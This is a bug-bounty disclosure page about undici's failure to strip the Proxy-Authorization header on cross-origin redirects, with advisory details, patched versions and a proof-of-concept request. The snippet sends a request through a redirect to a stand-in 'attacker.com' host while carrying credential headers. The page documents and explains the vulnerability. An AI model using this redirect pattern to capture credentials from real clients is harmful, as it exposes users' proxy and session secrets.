Proxy-Authorization header is not cleared in cross-domain redirect in undici
Undici did not clear the Proxy-Authorization header on cross-origin redirects, unlike the Authorization and Cookie headers. An attacker could cause a request to redirect to a third-party site, leaking the Proxy-Authorization credentials.
- Triaged in 10 hours
- Fixed in 8 days
- Paid in 8 days
- Disclosed after 15 days
Summary by the program
Proxy-Authorization header not cleared on cross-origin redirect in fetch
Impact Undici already cleared Authorization headers on cross-origin redirects, but did not clear Proxy-Authorization headers.
Patches This is patched in v5.28.3 and v6.6.1
Workarounds There are no known workarounds.
Full GHSA: https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3
The report
I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect .

As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site.
import { request } from 'undici'
const {
statusCode,
headers,
body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
maxRedirections: 3,
headers: {
"autHorization": 'tes123t',
"coOkie": "ddd=dddd",
"X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
'Proxy-Authorization':'xxxxxxxx'
}})
console.log('response received', statusCode)
console.log('headers', headers)
for await (const data of body) {
console.log('data', data)
}

You can refer to this python code. https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318 References https://github.com/psf/requests/issues/1885 https://fetch.spec.whatwg.org/#authentication-entries Impact undici v6.5.0
Impact
<= v5.28.2, >= v6.0.0 <= v6.6.0
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the redirect handling logic only stripped Authorization and Cookie headers on cross-origin redirects, omitting Proxy-Authorization.
Impact
This could lead to accidental leakage of Proxy-Authorization credentials to a third-party site.
What the attacker needed
Victim uses undici with Proxy-Authorization; request follows a cross-origin redirect
The fix
This was fixed in versions v5.28.3 and v6.6.1.
How it was found
- Send a request using undici to a URL that redirects to an attacker-controlled site.
- Include a Proxy-Authorization header in the request.
- Observe that the header is forwarded to the attacker site after the redirect.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web request is redirected to a different website, sensitive headers like Authorization should be removed to prevent leaking credentials. Undici, a Node.js HTTP client, failed to remove the Proxy-Authorization header, so if a request was redirected to an attacker-controlled site, the proxy credentials could be exposed.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.